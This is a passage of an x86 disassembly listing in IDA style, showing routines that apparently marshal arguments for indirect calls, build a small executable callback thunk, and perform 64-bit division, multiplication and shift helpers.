		dd 1D3610h, 1C3710h, 1D5710h, 1B5C10h, 16160010h, 16000116h
		dd 3160216h, 4160504h, 2 dup(4040404h),	16161604h, 16161616h
		dd 8071606h, 160A1609h,	0D0C160Bh, 160E1616h, 11100F16h
		dd 16131216h, 16161616h, 141616h, 8071606h, 160A1609h
		dd 0D0C160Bh, 160E1616h, 11101516h
		db 16h,	12h, 13h

; =============== S U B	R O U T	I N E =======================================



sub_40F543	proc near		; CODE XREF: .data:0040EB99p
		push	ebx
		xor	ebx, ebx
		cmp	[edi+814h], ebx
		jl	short loc_40F581
		push	esi
		lea	esi, [edi+820h]

loc_40F555:				; CODE XREF: sub_40F543+3Bj
		cmp	dword ptr [esi], 0
		jnz	short loc_40F574
		cmp	dword ptr [esi-4], 0FFFFFFFFh
		jnz	short loc_40F574
		mov	eax, [esi-8]
		push	dword ptr ds:10003078h[eax*4]
		push	40h
		call	dword ptr ds:10003000h
		mov	[esi], eax

loc_40F574:				; CODE XREF: sub_40F543+15j
					; sub_40F543+1Bj
		inc	ebx
		add	esi, 20h
		cmp	ebx, [edi+814h]
		jle	short loc_40F555
		pop	esi

loc_40F581:				; CODE XREF: sub_40F543+9j
		pop	ebx
		retn
sub_40F543	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F583	proc near		; CODE XREF: .data:0040EB9Fp

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	ecx, [esp+4+arg_0]
		xor	eax, eax
		cmp	[ecx+814h], eax
		push	ebx
		setnle	al
		push	ebp
		push	esi
		push	edi
		mov	[esp+14h+var_4], eax

loc_40F59B:				; CODE XREF: sub_40F583+16Fj
					; sub_40F583+178j
		mov	eax, [esp+14h+var_4]
		mov	ecx, [esp+14h+arg_0]
		shl	eax, 5
		lea	esi, [eax+ecx+818h]
		mov	eax, [esi+14h]
		test	eax, eax
		jz	short loc_40F5DD
		push	1Ah
		pop	ecx
		cmp	eax, ecx
		jz	short loc_40F5DD
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F5C7
		call	near ptr loc_40E790+1
		jmp	short loc_40F5E8
; ---------------------------------------------------------------------------

loc_40F5C7:				; CODE XREF: sub_40F583+3Bj
		test	eax, eax
		jle	short loc_40F5D8
		cmp	eax, 19h
		jg	short loc_40F5D8
		dec	eax
		call	sub_40E80B
		jmp	short loc_40F5E8
; ---------------------------------------------------------------------------

loc_40F5D8:				; CODE XREF: sub_40F583+46j
					; sub_40F583+4Bj
		mov	[esi+14h], ecx
		jmp	short loc_40F5E8
; ---------------------------------------------------------------------------

loc_40F5DD:				; CODE XREF: sub_40F583+2Fj
					; sub_40F583+36j
		push	1000305Bh
		call	sub_40E780
		pop	ecx

loc_40F5E8:				; CODE XREF: sub_40F583+42j
					; sub_40F583+53j ...
		cmp	dword ptr [esi+4], 0FFFFFFFFh
		mov	ebp, eax
		lea	edi, [esi+8]
		jnz	short loc_40F5F7
		mov	ebx, [edi]
		jmp	short loc_40F5F9
; ---------------------------------------------------------------------------

loc_40F5F7:				; CODE XREF: sub_40F583+6Ej
		mov	ebx, edi

loc_40F5F9:				; CODE XREF: sub_40F583+72j
		mov	eax, [esi]
		and	dword ptr [esi+1Ch], 0
		test	eax, eax
		jz	loc_40F6CC
		cmp	eax, 1
		jz	loc_40F6C4
		cmp	eax, 2
		jz	loc_40F6B6
		cmp	eax, 3
		jz	loc_40F6A8
		jle	loc_40F6CF
		cmp	eax, 5
		jle	short loc_40F657
		cmp	eax, 6
		jnz	loc_40F6CF
		push	ebp
		call	dword ptr ds:1000302Ch
		test	eax, eax
		jle	loc_40F6CF
		push	ebp
		call	sub_40E863
		pop	ecx
		mov	esi, eax
		call	sub_40FBA0
		mov	[edi], eax
		jmp	short loc_40F6CF
; ---------------------------------------------------------------------------

loc_40F657:				; CODE XREF: sub_40F583+A8j
		mov	eax, ds:10004034h
		add	eax, eax
		push	eax
		push	40h
		call	dword ptr ds:10003000h
		mov	edi, eax
		mov	eax, ds:10004034h
		push	eax
		push	edi
		push	eax
		push	ebp
		push	0
		push	0
		mov	[esi+1Ch], edi
		call	dword ptr ds:10003028h
		cmp	dword ptr [esi], 5
		jnz	short loc_40F6A4
		push	10h
		push	40h
		call	dword ptr ds:10003000h
		push	eax
		mov	[esi+1Ch], eax
		push	edi
		mov	[ebx], eax
		call	dword ptr ds:10003050h
		push	edi
		call	dword ptr ds:10003008h
		jmp	short loc_40F6CF
; ---------------------------------------------------------------------------

loc_40F6A4:				; CODE XREF: sub_40F583+FFj
		mov	[ebx], edi
		jmp	short loc_40F6CF
; ---------------------------------------------------------------------------

loc_40F6A8:				; CODE XREF: sub_40F583+99j
		push	ebp
		call	sub_40E780
		mov	[esi+1Ch], eax

loc_40F6B1:				; CODE XREF: sub_40F583+147j
		pop	ecx
		mov	[ebx], eax
		jmp	short loc_40F6CF
; ---------------------------------------------------------------------------

loc_40F6B6:				; CODE XREF: sub_40F583+90j
		push	ebp
		call	sub_40E863
		pop	ecx
		mov	[ebx], eax
		mov	[ebx+4], edx
		jmp	short loc_40F6CF
; ---------------------------------------------------------------------------

loc_40F6C4:				; CODE XREF: sub_40F583+87j
		push	ebp
		call	sub_40E863
		jmp	short loc_40F6B1
; ---------------------------------------------------------------------------

loc_40F6CC:				; CODE XREF: sub_40F583+7Ej
		and	dword ptr [edi], 0

loc_40F6CF:				; CODE XREF: sub_40F583+9Fj
					; sub_40F583+ADj ...
		push	ebp
		call	dword ptr ds:10003008h
		cmp	[esp+14h+var_4], 0
		jz	short loc_40F700
		mov	eax, [esp+14h+arg_0]
		mov	ecx, [esp+14h+var_4]
		cmp	ecx, [eax+814h]
		jnz	short loc_40F6F7
		and	[esp+14h+var_4], 0
		jmp	loc_40F59B
; ---------------------------------------------------------------------------

loc_40F6F7:				; CODE XREF: sub_40F583+168j
		inc	[esp+14h+var_4]
		jmp	loc_40F59B
; ---------------------------------------------------------------------------

loc_40F700:				; CODE XREF: sub_40F583+158j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_40F583	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F706	proc near		; CODE XREF: .data:0040EC52p
		mov	eax, [ecx+814h]
		test	eax, eax
		jl	short locret_40F73B
		push	esi
		lea	esi, [eax+41h]
		shl	esi, 5
		push	edi
		add	esi, ecx
		lea	edi, [eax+1]

loc_40F71D:				; CODE XREF: sub_40F706+31j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40F733
		cmp	dword ptr [esi-4], 0FFFFFFFFh
		jnz	short loc_40F733
		push	eax
		call	dword ptr ds:10003008h
		and	dword ptr [esi], 0

loc_40F733:				; CODE XREF: sub_40F706+1Bj
					; sub_40F706+21j
		sub	esi, 20h
		dec	edi
		jnz	short loc_40F71D
		pop	edi
		pop	esi

locret_40F73B:				; CODE XREF: sub_40F706+8j
		retn
sub_40F706	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F73C	proc near		; CODE XREF: .data:0040EBE7p
					; .data:0040EC32p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	ebx
		mov	ebx, [eax+814h]
		mov	[esp+8+var_4], ebx
		push	ebp
		add	ebx, 41h
		push	esi
		shl	ebx, 5
		push	edi
		add	ebx, eax

loc_40F757:				; CODE XREF: sub_40F73C+163j
		cmp	dword ptr [ebx-4], 0FFFFFFFFh
		jnz	short loc_40F761
		mov	esi, [ebx]
		jmp	short loc_40F763
; ---------------------------------------------------------------------------

loc_40F761:				; CODE XREF: sub_40F73C+1Fj
		mov	esi, ebx

loc_40F763:				; CODE XREF: sub_40F73C+23j
		call	sub_40E771
		mov	edi, eax
		mov	eax, [ebx-8]
		xor	ebp, ebp
		sub	eax, ebp
		jz	loc_40F844
		dec	eax
		jz	loc_40F83D
		dec	eax
		jz	loc_40F82D
		dec	eax
		jz	short loc_40F804
		dec	eax
		jz	short loc_40F7EE
		dec	eax
		jz	short loc_40F7AB
		dec	eax
		jnz	loc_40F850
		push	dword ptr [ebx]

loc_40F797:				; CODE XREF: sub_40F73C+103j
		push	10003058h
		push	edi
		call	dword ptr ds:10003044h
		add	esp, 0Ch
		jmp	loc_40F850
; ---------------------------------------------------------------------------

loc_40F7AB:				; CODE XREF: sub_40F73C+50j
		mov	eax, ds:10004034h
		add	eax, eax
		push	eax
		push	40h
		call	dword ptr ds:10003000h
		mov	ebp, eax
		mov	eax, ds:10004034h
		add	eax, eax
		push	eax
		push	ebp
		push	dword ptr [esi]
		call	dword ptr ds:1000304Ch
		mov	eax, ds:10004034h
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	eax
		push	edi
		push	eax
		push	ebp
		push	ecx
		push	ecx
		call	dword ptr ds:10003030h
		push	ebp
		call	dword ptr ds:10003008h

loc_40F7EA:				; CODE XREF: sub_40F73C+EFj
		xor	ebp, ebp
		jmp	short loc_40F850
; ---------------------------------------------------------------------------

loc_40F7EE:				; CODE XREF: sub_40F73C+4Dj
		mov	eax, ds:10004034h
		push	ebp
		push	ebp
		push	eax
		push	edi
		push	eax
		push	dword ptr [esi]
		push	ebp
		push	ebp
		call	dword ptr ds:10003030h
		jmp	short loc_40F850
; ---------------------------------------------------------------------------

loc_40F804:				; CODE XREF: sub_40F73C+4Aj
		push	dword ptr [esi]
		call	dword ptr ds:1000302Ch
		mov	ebp, eax
		mov	eax, ds:10004034h
		cmp	ebp, eax
		jl	short loc_40F81A
		lea	ebp, [eax-1]

loc_40F81A:				; CODE XREF: sub_40F73C+D9j
		lea	eax, [ebp+1]
		push	eax
		push	dword ptr [esi]
		push	edi
		call	dword ptr ds:10003010h
		mov	byte ptr [edi+ebp], 0
		jmp	short loc_40F7EA
; ---------------------------------------------------------------------------

loc_40F82D:				; CODE XREF: sub_40F73C+43j
		push	dword ptr [esi+4]
		mov	eax, edi
		push	dword ptr [esi]
		call	sub_40E98E
		pop	ecx
		pop	ecx
		jmp	short loc_40F850
; ---------------------------------------------------------------------------

loc_40F83D:				; CODE XREF: sub_40F73C+3Cj
		push	dword ptr [esi]
		jmp	loc_40F797
; ---------------------------------------------------------------------------

loc_40F844:				; CODE XREF: sub_40F73C+35j
		push	1000305Bh
		push	edi
		call	dword ptr ds:1000300Ch

loc_40F850:				; CODE XREF: sub_40F73C+53j
					; sub_40F73C+6Aj ...
		mov	eax, [ebx+14h]
		cmp	eax, ebp
		jz	short loc_40F86C
		mov	ecx, [esp+14h+arg_0]
		cmp	dword ptr [ecx], 2
		jnz	short loc_40F865
		cmp	[ebx-4], ebp
		jle	short loc_40F86C

loc_40F865:				; CODE XREF: sub_40F73C+122j
		push	eax
		call	dword ptr ds:10003008h

loc_40F86C:				; CODE XREF: sub_40F73C+119j
					; sub_40F73C+127j
		mov	eax, [ebx+10h]
		cmp	eax, ebp
		jz	short loc_40F88D
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F87F
		call	near ptr loc_40E7CC+2
		jmp	short loc_40F88D
; ---------------------------------------------------------------------------

loc_40F87F:				; CODE XREF: sub_40F73C+13Aj
		cmp	eax, ebp
		jle	short loc_40F88D
		dec	eax
		push	edi
		push	eax
		call	sub_40E830
		pop	ecx
		pop	ecx

loc_40F88D:				; CODE XREF: sub_40F73C+135j
					; sub_40F73C+141j ...
		push	edi
		call	dword ptr ds:10003008h
		dec	[esp+14h+var_4]
		sub	ebx, 20h
		cmp	[esp+14h+var_4], ebp
		jge	loc_40F757
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_40F73C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F8AB	proc near		; CODE XREF: .data:0040EBBEp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0
		push	ebx
		push	edi
		push	esi
		mov	edi, ds:10004010h
		mov	esi, [ebp+arg_0]
		xor	ebx, ebx
		cmp	edi, ebx
		jz	short loc_40F8F3
		test	byte ptr [esi+810h], 10h
		jnz	short loc_40F8F3
		push	ebp
		mov	ds:1000401Ch, esp
		cmp	ds:10004020h, ebx
		jnz	short loc_40F8ED
		mov	eax, 10000h
		call	sub_40FF28
		mov	ds:10004020h, esp
		jmp	short loc_40F8F3
; ---------------------------------------------------------------------------

loc_40F8ED:				; CODE XREF: sub_40F8AB+2Ej
		mov	esp, ds:10004020h

loc_40F8F3:				; CODE XREF: sub_40F8AB+16j
					; sub_40F8AB+1Fj ...
		mov	eax, [esi+814h]
		jmp	short loc_40F93B
; ---------------------------------------------------------------------------

loc_40F8FB:				; CODE XREF: sub_40F8AB+97j
		mov	ecx, eax
		shl	ecx, 5
		add	ecx, esi
		cmp	dword ptr [ecx+828h], 2
		jnz	short loc_40F921
		mov	eax, [ecx+824h]
		mov	ds:10004024h, eax
		push	dword ptr ds:10004024h
		mov	eax, ds:10004028h

loc_40F921:				; CODE XREF: sub_40F8AB+5Ej
		add	eax, 41h
		shl	eax, 5
		mov	eax, [eax+esi]
		mov	ds:10004024h, eax
		push	dword ptr ds:10004024h
		mov	eax, ds:10004028h
		dec	eax

loc_40F93B:				; CODE XREF: sub_40F8AB+4Ej
		cmp	eax, ebx
		mov	ds:10004028h, eax
		jg	short loc_40F8FB
		mov	eax, [esi+80Ch]
		mov	ds:10004028h, eax
		mov	eax, ds:10004014h
		mov	[esi+14A0h], eax
		mov	eax, [ebp+arg_0]
		mov	ds:10004014h, eax
		call	dword ptr ds:10004028h
		mov	ds:10004028h, eax
		mov	ds:10004024h, edx
		cmp	edi, ebx
		jz	short loc_40F992
		mov	eax, ds:10004014h
		test	byte ptr [eax+810h], 10h
		jnz	short loc_40F992
		mov	ds:10004020h, esp
		mov	esp, ds:1000401Ch
		pop	ebp

loc_40F992:				; CODE XREF: sub_40F8AB+CAj
					; sub_40F8AB+D8j
		mov	eax, ds:10004014h
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14A0h]
		xor	edx, edx
		mov	ds:10004014h, ecx
		mov	ecx, [eax+810h]
		inc	edx
		test	cl, dl
		jz	short loc_40FA0F
		cmp	edi, ebx
		jle	short loc_40F9EC
		test	cl, 10h
		jnz	short loc_40F9EC
		cmp	[eax+814h], edx
		jl	short loc_40FA0F
		lea	ecx, [eax+848h]

loc_40F9CD:				; CODE XREF: sub_40F8AB+13Dj
		mov	esi, [ecx]
		mov	edi, ds:10004020h
		lea	esi, [edi+esi*4]
		inc	edx
		mov	ds:10004020h, esi
		add	ecx, 20h
		cmp	edx, [eax+814h]
		jle	short loc_40F9CD
		jmp	short loc_40FA0F
; ---------------------------------------------------------------------------

loc_40F9EC:				; CODE XREF: sub_40F8AB+10Dj
					; sub_40F8AB+112j
		cmp	[eax+814h], edx
		mov	esi, edx
		jl	short loc_40FA0F
		lea	ecx, [eax+848h]

loc_40F9FC:				; CODE XREF: sub_40F8AB+162j
		cmp	dword ptr [ecx], 2
		jnz	short loc_40FA02
		pop	edx

loc_40FA02:				; CODE XREF: sub_40F8AB+154j
		pop	edx
		inc	esi
		add	ecx, 20h
		cmp	esi, [eax+814h]
		jle	short loc_40F9FC

loc_40FA0F:				; CODE XREF: sub_40F8AB+109j
					; sub_40F8AB+11Aj ...
		cmp	ds:10004014h, ebx
		jnz	short loc_40FA1D
		mov	ds:10004020h, ebx

loc_40FA1D:				; CODE XREF: sub_40F8AB+16Aj
		mov	ecx, ds:10004028h
		mov	[eax+820h], ecx
		mov	ecx, ds:10004024h
		mov	[eax+824h], ecx
		mov	[eax+4], ebx
		test	byte ptr [eax+810h], 20h
		jz	short loc_40FA4C
		call	dword ptr ds:10003034h
		mov	ds:10004018h, eax

loc_40FA4C:				; CODE XREF: sub_40F8AB+194j
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40F8AB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	edi
		push	esi
		mov	ds:10004024h, esp
		add	dword ptr ds:10004024h,	4
		add	dword ptr ds:10004024h,	14h
		mov	[ebp-4], eax
		mov	esi, [ebp-4]
		jmp	short loc_40FA7D
; ---------------------------------------------------------------------------

loc_40FA7B:				; CODE XREF: .data:0040FA85j
		mov	esi, eax

loc_40FA7D:				; CODE XREF: .data:0040FA79j
		mov	eax, [esi+14A0h]
		test	eax, eax
		jnz	short loc_40FA7B
		push	esi
		call	loc_40EA82
		mov	[esi+14A0h], eax
		or	byte ptr [eax+810h], 80h
		and	dword ptr [eax+149Ch], 0
		xor	esi, esi
		inc	esi
		pop	ecx
		mov	ecx, esi
		mov	ds:10004028h, ecx
		cmp	[eax+814h], esi
		mov	[ebp-4], eax
		jl	short loc_40FB1B
		push	4
		pop	edx

loc_40FABB:				; CODE XREF: .data:0040FB19j
		mov	edi, ds:10004024h
		mov	edi, [edi]
		add	ecx, 41h
		shl	ecx, 5
		mov	[ecx+eax], edi
		add	ds:10004024h, edx
		add	[eax+149Ch], edx
		mov	ecx, ds:10004028h
		shl	ecx, 5
		add	ecx, eax
		cmp	dword ptr [ecx+828h], 2
		jnz	short loc_40FB06
		mov	edi, ds:10004024h
		mov	edi, [edi]
		mov	[ecx+824h], edi
		add	ds:10004024h, edx
		add	[eax+149Ch], edx

loc_40FB06:				; CODE XREF: .data:0040FAEAj
		mov	ecx, ds:10004028h
		inc	ecx
		mov	ds:10004028h, ecx
		cmp	ecx, [eax+814h]
		jle	short loc_40FABB

loc_40FB1B:				; CODE XREF: .data:0040FAB6j
		mov	[eax+4], esi
		mov	eax, [ebp-4]
		push	ebp
		mov	ds:10004020h, esp
		mov	esp, ds:1000401Ch
		pop	ebp
		pop	esi
		pop	edi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FB36	proc near		; CODE XREF: .data:0040EBD4p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0
		push	ebx
		push	edi
		push	esi
		mov	eax, [ebp+arg_0]
		add	eax, 820h
		push	dword ptr [eax]
		push	dword ptr [eax+4]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+810h]
		and	eax, 1
		jnz	short loc_40FB6A
		mov	eax, [ebp+arg_0]
		mov	al, [eax+149Ch]
		mov	ds:10004009h, al
		jmp	short loc_40FB71
; ---------------------------------------------------------------------------

loc_40FB6A:				; CODE XREF: sub_40FB36+22j
		mov	byte ptr ds:10004009h, 0

loc_40FB71:				; CODE XREF: sub_40FB36+32j
		mov	dword ptr ds:10004004h,	10004008h
		push	[ebp+arg_0]
		call	dword ptr ds:10003008h
		pop	edx
		pop	eax
		push	ebp
		mov	ds:1000401Ch, esp
		mov	esp, ds:10004020h
		pop	ebp
		pop	esi
		pop	edi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		jmp	dword ptr ds:10004004h
sub_40FB36	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FBA0	proc near		; CODE XREF: sub_40F583+CBp
		cmp	dword ptr [esi+80Ch], 0
		jnz	short loc_40FBF1
		inc	dword ptr ds:10004010h
		mov	eax, ds:10004010h
		or	dword ptr [esi+810h], 2
		push	40h
		push	1000h
		push	0Ah
		push	0
		mov	[esi+1498h], eax
		call	dword ptr ds:10003038h
		mov	[esi+80Ch], eax
		mov	byte ptr [eax],	0B8h
		inc	eax
		mov	[eax], esi
		add	eax, 4
		mov	byte ptr [eax],	0E9h
		inc	eax
		mov	ecx, 100024CEh
		sub	ecx, eax
		sub	ecx, 4
		mov	[eax], ecx

loc_40FBF1:				; CODE XREF: sub_40FBA0+7j
		mov	eax, [esi+80Ch]
		retn
sub_40FBA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FBF8	proc near		; CODE XREF: .data:0040EBC7p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		and	[ebp+var_4], 0
		push	ebx
		xor	ebx, ebx
		inc	ebx
		cmp	[edi+814h], ebx
		push	esi
		jl	short loc_40FC39
		mov	edx, [edi+814h]
		lea	eax, [edi+83Ch]

loc_40FC1B:				; CODE XREF: sub_40FBF8+3Fj
		mov	ecx, [eax]
		cmp	ecx, ebx
		mov	esi, [ebp+var_4]
		jge	short loc_40FC2C
		mov	ecx, [eax+0Ch]
		lea	ecx, [esi+ecx*4]
		jmp	short loc_40FC30
; ---------------------------------------------------------------------------

loc_40FC2C:				; CODE XREF: sub_40FBF8+2Aj
		lea	ecx, [esi+ecx-1]

loc_40FC30:				; CODE XREF: sub_40FBF8+32j
		add	eax, 20h
		dec	edx
		mov	[ebp+var_4], ecx
		jnz	short loc_40FC1B

loc_40FC39:				; CODE XREF: sub_40FBF8+15j
		mov	eax, [edi+80Ch]
		test	eax, eax
		jnz	short loc_40FC56
		push	[ebp+var_4]
		push	40h
		call	dword ptr ds:10003000h
		mov	[edi+80Ch], eax
		jmp	short loc_40FC66
; ---------------------------------------------------------------------------

loc_40FC56:				; CODE XREF: sub_40FBF8+49j
		cmp	[ebp+var_4], 0
		jnz	short loc_40FC66
		push	eax
		call	dword ptr ds:10003004h
		mov	[ebp+var_4], eax

loc_40FC66:				; CODE XREF: sub_40FBF8+5Cj
					; sub_40FBF8+62j
		cmp	[edi+814h], ebx
		mov	eax, [edi+80Ch]
		mov	[ebp+var_C], eax
		mov	[ebp+var_10], ebx
		jl	loc_40FD49
		lea	esi, [edi+840h]
		jmp	short loc_40FC89
; ---------------------------------------------------------------------------

loc_40FC86:				; CODE XREF: sub_40FBF8+14Bj
		xor	ebx, ebx
		inc	ebx

loc_40FC89:				; CODE XREF: sub_40FBF8+8Cj
		mov	eax, [esi-4]
		xor	ecx, ecx
		cmp	eax, ebx
		jge	short loc_40FC9D
		mov	ebx, [esi+8]
		shl	ebx, 2

loc_40FC98:				; CODE XREF: sub_40FBF8+101j
		mov	[ebp+var_8], esi
		jmp	short loc_40FCFF
; ---------------------------------------------------------------------------

loc_40FC9D:				; CODE XREF: sub_40FBF8+98j
		or	[ebp+var_20], 0FFFFFFFFh
		lea	ebx, [eax-1]
		mov	eax, [esi-8]
		test	eax, eax
		mov	[ebp+var_1C], 0FFh
		mov	[ebp+var_18], 0FFFFh
		mov	[ebp+var_14], 0FFFFFFh
		jz	short loc_40FCFB
		cmp	eax, 1
		jz	short loc_40FCE4
		cmp	eax, 2
		jz	short loc_40FCD8
		jle	short loc_40FCFF
		cmp	eax, 5
		jg	short loc_40FCFF
		mov	eax, [esi]
		mov	[ebp+var_8], eax
		jmp	short loc_40FCFF
; ---------------------------------------------------------------------------

loc_40FCD8:				; CODE XREF: sub_40FBF8+D0j
		mov	eax, [ebp+var_4]
		and	dword ptr [esi+4], 0
		xor	ecx, ecx
		mov	[esi], eax
		inc	ecx

loc_40FCE4:				; CODE XREF: sub_40FBF8+CBj
		test	ebx, ebx
		jl	short loc_40FCF1
		cmp	ebx, 4
		jge	short loc_40FCF1
		mov	eax, ebx
		jmp	short loc_40FCF3
; ---------------------------------------------------------------------------

loc_40FCF1:				; CODE XREF: sub_40FBF8+EEj
					; sub_40FBF8+F3j
		xor	eax, eax

loc_40FCF3:				; CODE XREF: sub_40FBF8+F7j
		mov	eax, [ebp+eax*4+var_20]
		and	[esi], eax
		jmp	short loc_40FC98
; ---------------------------------------------------------------------------

loc_40FCFB:				; CODE XREF: sub_40FBF8+C6j
		and	[ebp+var_8], 0

loc_40FCFF:				; CODE XREF: sub_40FBF8+A3j
					; sub_40FBF8+D2j ...
		cmp	[ebp+var_8], 0
		jz	short loc_40FD31
		cmp	dword ptr [esi+0Ch], 0
		jnz	short loc_40FD0F
		test	ecx, ecx
		jz	short loc_40FD1D

loc_40FD0F:				; CODE XREF: sub_40FBF8+111j
		push	[ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	eax, ebx
		call	sub_40EA60
		pop	ecx

loc_40FD1D:				; CODE XREF: sub_40FBF8+115j
		cmp	dword ptr [esi+10h], 0
		jz	short loc_40FD31
		push	[ebp+var_8]
		mov	ecx, [ebp+var_C]
		mov	eax, ebx
		call	sub_40EA60
		pop	ecx

loc_40FD31:				; CODE XREF: sub_40FBF8+10Bj
					; sub_40FBF8+129j
		add	[ebp+var_C], ebx
		inc	[ebp+var_10]
		mov	eax, [ebp+var_10]
		add	esi, 20h
		cmp	eax, [edi+814h]
		jle	loc_40FC86

loc_40FD49:				; CODE XREF: sub_40FBF8+80j
		mov	eax, [edi+80Ch]
		pop	esi
		mov	[edi+820h], eax
		pop	ebx
		leave
		retn
sub_40FBF8	endp

; ---------------------------------------------------------------------------
		db 83h,	7Ch, 24h
		dd 448B0108h, 0CA30424h, 75100040h, 4020683Bh, 406A1000h
		dd 868046Ah, 0FF100040h, 303C15h, 0A3C03310h, 10004020h
		dd 401CA3h, 4018A310h, 14A31000h, 0A3100040h, 10004010h
		dd 400805C6h, 0A2C21000h, 1000400Ah, 0C240C033h, 0CCCC000Ch
		dd 3 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_40FDB8	proc near		; CODE XREF: .data:0040EDA6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebp
		xor	edi, edi
		xor	ebp, ebp
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_40FDDC
		inc	edi
		inc	ebp
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx

loc_40FDDC:				; CODE XREF: sub_40FDB8+Dj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_40FDF8
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx

loc_40FDF8:				; CODE XREF: sub_40FDB8+2Aj
		or	eax, eax
		jnz	short loc_40FE24
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	esi, eax
		mov	eax, ebx
		mul	[esp+0Ch+arg_8]
		mov	ecx, eax
		mov	eax, esi
		mul	[esp+0Ch+arg_8]
		add	edx, ecx
		jmp	short loc_40FE6B
; ---------------------------------------------------------------------------

loc_40FE24:				; CODE XREF: sub_40FDB8+42j
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]

loc_40FE32:				; CODE XREF: sub_40FDB8+84j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_40FE32
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_40FE60
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_40FE60
		jb	short loc_40FE69
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_40FE69

loc_40FE60:				; CODE XREF: sub_40FDB8+98j
					; sub_40FDB8+9Ej
		dec	esi
		sub	eax, [esp+0Ch+arg_8]
		sbb	edx, [esp+0Ch+arg_C]

loc_40FE69:				; CODE XREF: sub_40FDB8+A0j
					; sub_40FDB8+A6j
		xor	ebx, ebx

loc_40FE6B:				; CODE XREF: sub_40FDB8+6Aj
		sub	eax, [esp+0Ch+arg_0]
		sbb	edx, [esp+0Ch+arg_4]
		dec	ebp
		jns	short loc_40FE7D
		neg	edx
		neg	eax
		sbb	edx, 0

loc_40FE7D:				; CODE XREF: sub_40FDB8+BCj
		mov	ecx, edx
		mov	edx, ebx
		mov	ebx, ecx
		mov	ecx, eax
		mov	eax, esi
		dec	edi
		jnz	short loc_40FE91
		neg	edx
		neg	eax
		sbb	edx, 0

loc_40FE91:				; CODE XREF: sub_40FDB8+D0j
		pop	ebp
		pop	esi
		pop	edi
		retn	10h
sub_40FDB8	endp

; ---------------------------------------------------------------------------
		db 0CCh

; =============== S U B	R O U T	I N E =======================================



sub_40FE98	proc near		; CODE XREF: .data:0040ED54p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_40FEB1
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------

loc_40FEB1:				; CODE XREF: sub_40FE98+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_40FE98	endp

; ---------------------------------------------------------------------------
		dd 3 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_40FED8	proc near		; CODE XREF: .data:0040EE34p
		cmp	cl, 40h
		jnb	short loc_40FEF2
		cmp	cl, 20h
		jnb	short loc_40FEE8
		shld	edx, eax, cl
		shl	eax, cl
		retn
